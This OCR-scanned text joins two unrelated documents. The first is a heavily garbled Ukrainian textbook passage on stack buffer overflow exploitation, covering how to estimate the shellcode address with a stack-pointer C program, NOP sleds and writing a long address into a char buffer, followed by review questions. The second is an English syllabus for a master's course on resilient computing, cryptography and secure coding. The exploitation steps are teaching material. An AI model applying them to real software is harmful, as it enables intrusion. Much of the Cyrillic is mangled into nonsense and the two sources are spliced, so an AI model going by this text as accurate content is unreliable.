KOHYEThCS BIIJJAJICHO), 3aBX/IM MOXKHA Brajatu 3HaueHHs R. Lle mox-
JMBO TOMY, IO 3a3BHYal CTEK HE YK€ MIMOOKUH: OUTBIIICTH MpOrpam
30epiratoTb B HbOMY HE OiNbIlIe KiTBKOX COTEHb YW THUCSY 3HAYCHH B
OJIMH MOMEHT 4acy. BHaclijjok 1bOoro Jiana3oH 3Ha4eHb R, skuii mor-
piOHO Brajziatu €, HaCHpaB/i, JOCUTh MAJIUM. BiIbIlIe TOTO, MU MOXKEMO
MIEPEeKPUTH BECh BXITHHIA Jialla30H OJHIEI0 aTaKOK MEePENHCYIOUYH BCl
111 JTIoKarii (3aMiCTh OAHI€T) 3 MITFOBOO aPECcOro.

Busnauenns T, anpecy shellcode, Moxke OyTu 31iliCHEHE TUMHU kK
MeroAamu, o i R. SIKmo cupueBuil KoJ Bpa3iauBOi MPOrpaMu JOCTY-



THUH, BU MokeTe MonndikyBartu ii, mob BuBectr aapecy T (abo amgpe-
Cy eleMeHTa 3 (piKCOBaHMM 3MIIICHHIM Bix Oydepa uu cTeky). AGo
3amycTUBINU B Aebarepi. AOo BragaTu Horo.

SKmio panzoMizanis NpocTopy ajapec BUMKHEHA, TO MOJKHA BH3HA-
yutd T moku mporpama 3amyiieHa. Lle ToMy, o cTek npouecy mnovu-
HAETHCS 3a TOK CaMOK0 afpecoro (KOJIM paHaoMi3allis BHUMKHEHA); i
CTEK 3a3BHYail HE TyXKe MIMOOKU.

Ochb nporpama, 1110 BUBOUTH 3HAUCHHS BKa3iBHHUKA CTEKY (€Sp):

/* sp.c */
#include <stdlib.h>
#include <stdio.h>

#include <string.h>

unsigned long get_sp(void) {
__asm__ ("movl %esp,%eax");

}
int main() {

printf("0x%lIx\n", get_sp());
}

11.3 36iab1ennst AIMOBIPHOCTI yCIIIIHOT aTaku

s 30inbpIeHHs] KMOBIPHOCTI MPOBEACHHS YCIIIIHOI aTaKH MOTi-
6H0 momatu neBHe ynciao NOP-iB Ha mo9aTok 3110BMUCHOTO Komy. Ile-
pexim mo omHoro 3 NOP-iB Oyzae HacmpaBmi MEPEeXOIUTH IO 3JI0BMHC-
HOT'O KOTy.

11.4 30epexenns ninoro ynciaa tuny long y oygep

V caitni exploit Mmoxxe 3HamOOMTHCS 30€pErTH LijIe YUCIO TUILY
long (4 Gaiitn) B mo3uuii i 6ydepa 3 char. OCKiNBbKH KOXEH €JIeMEHT
Oydepa Mae po3Mmip B oauH Oaiit, long Oyze 3aiimMaTy mo3uii 3 i 10 i+3.
Ockinbku char i long MaroTh pi3Hi pO3MipH, HEMOXKHA HANPsAMY HpPHUC-
Boitu buffer[i] 3nauenns long; HaTOMiCTh MOTPIOHO MPHUBECTH TUI BKAa-
3iBHMKa buffer+i g0 long i TiABKU TOMI 3MIHCHIOBATH MPUCBOEHHS, SIK
MOKa3aHO HUKYe:



char buffer[20];

long addr = OXFFEEDDS88;

long *ptr = (long *) (buffer + i);
*ptr = addr;

KonTpoJbHi 3anuTaHHs

1. 3 Toukm 30py mMporpaMyBaHHS IEPENTIUiTh CIOCOOHM TEPETOB-
HEHHS CTEKY (KyTIH).

2. Ha3BiTh MexaHi3MU MepernoBHeHHS Oydepa CTeKy.

3. ChopmynroiiTe OCHOBHI eTanu aHaji3y (peBepc-IHXUHIPHHTY)
MIPOrpaMHOro 3a0€3MeICHHS.

4. SIxi Bpa3nuBOCTI MPOrpaHOro KOAY MOXYTh HPU3BECTH IO Iie-
penioBHeHHs Oydepa mam’aTi?

5. HaBeziTh mpukiaay CHeLiaai3oBaHOIO IPOIrpaMHOro 3abesre-
YeHHSI, [0 3aCTOCOBYETHCS JJIsl pEBEPC-1HKMHIPHHTY ?

6. 3 sIK0X0 METOI0 BUKOPHUCTOBYIOTH e0arepu, qu3aceMonepu?

7. Ha3BiTh ocHOBHI miaxou i3 3axucty [13 Bijx arak nepernoBHEH-

Hs1 Oydepa.
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DESCRIPTION OF THE COURSE

TITLE OF THE MODULE

Code

Foundations of Resilient Computing

Teacher(s) Department
Coordinating: Prof. V. Kharchenko Computer systems and networks;
Cybersecurity
Others: Dr. N. Zagorodna, Dr. R. Kozak,
Dr. V. Duzhiy
Study cycle Level of the module Type of the module
Master A Full-time tuition

Form of delivery

Duration

Langage(s)

Full-time tuition

One semester

English or Ukrainian

Prerequisites

Prerequisites:

Foundations of Mathematic; Number
Theory; Probability Theory; Theory of
Information; Combinatory; Foundation of
Modeling; Software Engineering;

Co-requisites (if necessary):

Credits of the Total student Contact hours Individual work
module workload hours
4 108 48 60

Aim of the module (course unit): competences foreseeen by the study programme

Ensure mastery of the listener to the extent necessary obscheprinyatymobemeom
knowledge in the field of security and stability for systems and networks. As a result,
the student will be able to: effective use of methods and techniques to ensure the securi-
ty and stability of computer systems and networks; assess the degree of information
security of computer systems, networks, client, to communicate effectively with col-

leagues and clients.

Learning outcomes of module
(course unit)

Teaching/learning

methods

Assessment meth-
ods

As a result, the student will know:

1. define and explain compare the
field of security and stability of

Interactive lectures,
Learning in laborato-

Module Evaluation
Questionnaire




computer systems and networks;

ries,
Just-in-Time Teaching

2. describe, compare and use the
methods and techniques to ensure
the security and stability of comput-
er systems and networks;

Interactive lectures,
Learning in laborato-
ries,

Just-in-Time Teaching

Module Evaluation
Questionnaire

3. recognise and use the mecha-
nisms of protection services in the
network Intrnet;

Interactive lectures,
Learning in laborato-
ries,

Just-in-Time Teaching

Module Evaluation
Questionnaire

4. apply the international legal
framework in the field of infor-
mation security;

Interactive lectures,
Learning in laborato-
ries,

Just-in-Time Teaching

Module Evaluation
Questionnaire

5. identify vulnerable to threats in
software; discuss the application of
techniques such as defence in depth
to demonstrate how controls can be
selected; understand the concepts
that must be considered in require-
ments analysis and explain the
importance of “building security
in”,

Interactive lectures,
Learning in laborato-
ries,

Just-in-Time Teaching

Module Evaluation
Questionnaire

6. highlight the key steps in a design
process and where security consid-
erations should be worked in; de-
velop more secure software sys-
tems; apply security tactics, pat-
terns; use UMLsec for security
analysis;

Interactive lectures,
Learning in laborato-
ries,

Just-in-Time Teaching

Module Evaluation
Questionnaire

7. explain cardinal attacks on soft-
ware; apply the approaches of
secure coding; practice main meth-
ods of code analysis; perform best
practice of penetration testing;
identify sensitive information expo-
sure; use exporting tools for vulner-
ability management;

Interactive lectures,
Learning in laborato-
ries,

Just-in-Time Teaching

Module Evaluation
Questionnaire

8. describe the methodologies of
implementing security and resili-
ence into software; demonstrate the
best practices for software resili-
ence;

Interactive lectures,
Learning in laborato-
ries,

Just-in-Time Teaching

Module Evaluation
Questionnaire




Time and tasks for
Contact work hours individual work
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S RREIE Tasks
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HEEEHEEE
sl8lglEl=Z] e =
CML1.1 Concepts and metrics for resilient computing
CM1.2
CML1.3. Basics of cryptology for resilient computing
1. Historical cryptographic methods. 1.6. Modular
Principles of modern cryptography arithmetic
1.1. Goals of cryptography and 1.7. Rotor
cryptanalysis. Applications. Clas- machine.
sical symmetric cipher model. 1.8. Frequency
1.2. Encryption: Historical method of
Glance cryptanalysis.
1.2.1. Permutation techniques Breaking the
1.2.2. Substitution techniques 2 2 44 Vigenere Ci-
(Caesar Cipher, Vigenere Cipher) pher
1.3. Notation of perfect (by Shan-
non) and computational secrecy
1.4. One-time pad as example of
perfectly secure cipher (by Shan-
non)
1.5. Principles of modern cryp-
tography. Kerckhoffs’s principle
2. Symmetric Encryption. Stream 2.6. Polynomial
ciphers arithmetic.
2.1. Limitations of One-time pad 2.7. Stream
2.2. Pseudorandomness. Pseu- cipher RC4
dorandom generators. Pseudo
One-time pad 3 2 5|3
2.3. Linear feedback shift register
(LFSR)
2.4. Generation of nonlinearity in
LFSR usage
2.5 Examples of modern stream



https://class.coursera.org/cryptography-008/lecture/109
https://class.coursera.org/cryptography-008/lecture/109
https://class.coursera.org/cryptography-008/lecture/109

ciphers (A5)

3. Block ciphers and Data Encryp- 3.5. Finite

tion Standard fields of the
3.1. Block cipher principles form GF(p)
3.2. The Data Encryption Stand- 3.6. Security
ard (DES) against chosen-
3.3. Ukrainian standards (OCT- | 3 2 5 | 2 | ciphertext
28147-89, Kanuna) attacks
3.4. Modes of operation one and
many time key
3.5. Principles of Rijndael (AES)

4. Foundations of Public Key En- 4.8. Definition

cryption of security:
4.1. Drawbacks of symmetric polynomial
(private-key) cryptography indistinguisha-
4.2. Trusted 3rd parties. bility. Semantic
4.3. The Public-Key Revolution. security.
4.4. One-Way Functions: Motiva- 4.9. Rabin's
tion and definition. 2 2 | 5| public key
45. Diffie-Hellman key ex- cryptosystem

change.

4.6. The Trapdoor Function Mod-
el.

4.7. RSA as example of public-
key encryption.

CM1.4. Software security and software tech

nologies for resilient computing

1. Understanding software security 2 2 | 2| 1.5. Software
and resilient software. security risk
1.1. Significance of software se- management
curity and its vocabulary. and resources.
1.2. Security and resilience in 1.6. Threat
the software development life modeling and
cycle. tools.
1.3. Software security threats:
hardware-level and code-level
threats.
1.4. Detailed design-level, archi-
tectural-level, requirements-level
threats.
2. Designing applications for securi- | 2 2 41 2| 2.6.Case

ty and resilience.
2.1. Introduction to secure de-
sign.
2.2. Security tactics, patterns,

study: setting
the stage, tac-
tic-oriented and
pattern-




vulnerabilities.

2.3. Security requirements and
test case generation.

2.4. Architectural analysis for
security.

2.5. Using UMLsec for security
analysis.

oriented archi-
tectural analy-
sis.

2.7. Software
security anti-
patterns.

3. Secure Coding. Testing for Secu-
rity.
3.1. Buffers overflow attacks and
its countermeasures.
3.2. Broken authentication and
session management and its
countermeasures.
3.3. Insecure direct object refer-

4 8 | 3| 3.4.Sensitive
information
exposure and
its counter-
measures.
3.5. Other
secure coding
best practices.

ences and its countermeasures. 3.9. Vulnera-
3.4. Static analysis. Exploring bility manage-
tools for static analysis. ment. Explor-
3.5. Dynamic analysis. Explor- ing tools for
ing tools for dynamic analysis. vulnerability
3.6. Penetration testing. Explor- management.
ing tools for penetration testing.

4. Implementing security and resili- 2| 2|45 Re-

ence into software. engineering
4.1. Comprehensive, Light- SDLC for
weight Application Security CLASP

Process (CLASP).

4.2. Maturity models for security
and resilience.

4.3. The Open Web Application
Security Project (OWASP): top
10 best practice.

4.4. Additional best practices for
software resilience.

Assessment strate- | Weig | Dead
ay ht lines

in %

Assessment criteria

Lecture activity, | 10 7,14
including fulfilling
special self-tasks

85% — 100% Outstanding work, showing a
full grasp of all the questions answered.

70% — 84% Perfect or near perfect answers to
a high proportion of the questions answered.
There should be a thorough understanding
and appreciation of the material.

60% — 69% A very good knowledge of much




of the important material, possibly excellent
in places, but with a limited account of some
significant topics.

50% — 59% There should be a good grasp of
several important topics, but with only a
limited understanding or ability in places.
There may be significant omissions.

45% — 49% Students will show some relevant
knowledge of some of the issues involved, but
with a good grasp of only a minority of the
material. Some topics may be answered well,
but others will be either omitted or incorrect.
40% — 44% There should be some work of
some merit. There may be a few topics an-
swered partly or there may be scattered or
perfunctory knowledge across a larger range.
20% — 39% There should be substantial defi-
ciencies, or no answers, across large parts of
the topics set, but with a little relevant and
correct material in places.

0% — 19% Very little or nothing that is correct
and relevant.

Learning in labora-
tories

30

7,14

85% — 100% An outstanding piece of work,
superbly organised and presented, excellent
achievement of the objectives, evidence of
original thought.

70% — 84% Students will show a thorough
understanding and appreciation of the materi-
al, producing work without significant error
or omission. Objectives achieved well. Excel-
lent organisation and presentation.

60% — 69% Students will show a clear under-
standing of the issues involved and the work
should be well written and well organised.
Good work towards the objectives.

The exercise should show evidence that the
student has thought about the topic and has
not simply reproduced standard solutions or
arguments.

50% — 59% The work should show evidence
that the student has a reasonable understand-
ing of the basic material. There may be some
signs of weakness, but overall the grasp of the
topic should be sound. The presentation and
organisation should be reasonably clear, and
the objectives should at least be




partially achieved.

45% — 49% Students will show some appreci-
ation of the issues involved. The exercise will
indicate a basic understanding of the topic,
but will not have gone beyond this, and there
may well be signs of confusion about more
complex material. There should be fair work
towards the laboratory work objectives.

40% - 44% There should be some work
towards the laboratory work objectives, but
significant issues are likely to be neglected,
and there will be little or no appreciation of
the complexity of the problem.

20% - 39% The work may contain some
correct and relevant material, but most issues
are neglected or are covered incorrectly.
There should be some signs of appreciation of
the laboratory work requirements.

0% — 19% Very little or nothing that is correct
and relevant and no real appreciation of the
laboratory work requirements.

Module Evaluation | 60 8,16 The score corresponds to the percentage of
Quest correct answers to the test questions
Author Year | Title No of | Place of printing.
of periodi- Printing house or
issue cal or | intrenet link
volume

Compulsory literature

T'opbenko .11, 2012 | IlpuxkiagHa KpHII- XapkiB. BunaBuuur-

T'opbenko 10.1. toJjoris. Teopis. Bo ®opT
IIpakruka. 3acto-

CYyBaHH.

Douglas R. Stinson | 2006 | - Cryptog- http://Aww.icst.pku.
raphy_Theory and edu.cn/course/Crypt
practice (3ed edi- ography/Cryptograp
tion) hyTheoryandprac-

tice%283ed%29.pdf

William Stallings 2013 | Cryptography and http://faculty.mu.edu

Network Security:
Principles and
Practice Paperback

.sa/public/uploads/13
60993259.0858Crypt
ography%20and%?20
Net-
work%20Security%2
OPrinciples%20and



http://faculty.mu.edu.sa/public/uploads/1360993259.0858Cryptography%20and%20Network%20Security%20Principles%20and%20Practice,%205th%20Edition.pdf
http://faculty.mu.edu.sa/public/uploads/1360993259.0858Cryptography%20and%20Network%20Security%20Principles%20and%20Practice,%205th%20Edition.pdf
http://faculty.mu.edu.sa/public/uploads/1360993259.0858Cryptography%20and%20Network%20Security%20Principles%20and%20Practice,%205th%20Edition.pdf
http://faculty.mu.edu.sa/public/uploads/1360993259.0858Cryptography%20and%20Network%20Security%20Principles%20and%20Practice,%205th%20Edition.pdf
http://faculty.mu.edu.sa/public/uploads/1360993259.0858Cryptography%20and%20Network%20Security%20Principles%20and%20Practice,%205th%20Edition.pdf
http://faculty.mu.edu.sa/public/uploads/1360993259.0858Cryptography%20and%20Network%20Security%20Principles%20and%20Practice,%205th%20Edition.pdf
http://faculty.mu.edu.sa/public/uploads/1360993259.0858Cryptography%20and%20Network%20Security%20Principles%20and%20Practice,%205th%20Edition.pdf

%20Practice,%205th
%?20Edition.pdf

Bep6iupkuii O. B. 1998 | Beryn no JIbBiB
KPHITOJIOTIT
Bruce Schneier 1996 | Applied Cryptog- 1996 John Wiley &
raphy. Protocols, Sons
Algorithms, and
Source Code in C
Mark S Merkow; 2010 | Secure and resilient Taylor and Francis
Lakshmikanth software develop- Group, LLC
Raghavan ment
Gary McGraw 2003 | Software security Cigital, Inc.
Michael Howard 2005 | The 19 Deadly Sins McGraw Hill
of Software
Security
ISECOM OSSTMM 3 - The http://Awww.isecom.o
Open Source Secu- rg/research/osstmm.
rity Testing Meth- html
odology Manual
Joe Jarzombek 2006 | Security in the http://home.himolde.

Software Lifecycle

no/~molka/lo205/bo
oknotes-06/Security-
Software-
Lifecycle2006.pdf

Additional literature

1999

ACTY I'oCT
28147-89 Cuctembl
00paboTKH HH-
(dhopmanum. 3ammra
KpHITOrpadmie-
ckasg.  AJroputm
KpHunrorpaguye-
cKoro mpeobpazo-
BaHUS»

Noopur Davis

2005

Secure Software
Development Life
Cycle Processes: A
Technology Scout-
ing Report

http://www.sei.cmu.
edu/reports/05tn024.
pdf
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